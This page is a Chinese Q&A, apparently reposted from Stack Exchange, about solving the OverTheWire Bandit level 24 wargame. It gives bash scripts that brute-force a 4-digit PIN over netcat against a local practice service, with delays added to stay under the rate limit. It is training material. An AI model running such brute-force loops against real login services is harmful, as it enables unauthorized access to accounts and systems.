You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Bandit 24暴力破解超时问题求助

Bandit24关卡暴力破解超时问题解决思路

问题情况

我在Bandit闯关游戏的第24关遇到了问题:按照任务逻辑,我写了脚本生成上一关密码+4位PIN的组合,保存为possible_pins.txt后执行nc localhost 30002 < possible_pins.txt暴力破解。但执行后一直返回Wrong! Please enter the correct current password. Try again.,最终触发Timeout. Exiting.错误退出。尝试给nc添加-w参数延长等待时间,问题依然存在。希望沿用当前简单脚本的思路解决,不想用复杂陌生的脚本,求排查代码问题或绕过超时的方法。

当前使用的PIN生成脚本

#!/bin/bash

password="<password here>"

for pin in {0000..9999}
do
    echo $password $pin
done

问题原因

你的脚本语法本身没问题,但直接通过管道把1万条请求一次性发给nc的方式有问题:

  • 服务器会因为短时间接收大量请求触发超时机制,不会逐条验证请求
  • -w参数是控制nc自身的连接超时时间,无法控制每条请求的发送间隔和服务器的响应处理,所以没用

解决方案(沿用简单脚本思路)

方法一:循环逐条发送请求(推荐)

修改脚本,每次只发送一条请求,处理服务器响应后再发下一条,同时添加短暂延迟避免触发频率限制:

#!/bin/bash
password="<上一关密码>"
for pin in {0000..9999}
do
    # 发送请求并过滤错误提示,一旦找到正确结果就退出
    response=$(echo "$password $pin" | nc localhost 30002)
    if ! echo "$response" | grep -q "Wrong! Please enter the correct current password. Try again."; then
        echo "找到正确组合:$password $pin"
        echo "服务器响应:$response"
        exit 0
    fi
    sleep 0.1  # 添加0.1秒延迟,降低请求频率
done

方法二:用xargs处理已生成的文件

如果已经生成了possible_pins.txt文件,可以用xargs逐条读取并发送请求:

cat possible_pins.txt | xargs -L 1 -I {} sh -c 'response=$(echo "{}" | nc localhost 30002); if ! echo "$response" | grep -q "Wrong!"; then echo "正确组合:{}"; echo "响应:$response"; exit 0; fi'

内容的提问来源于stack exchange,提问作者Hhadley

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.03 04:46:13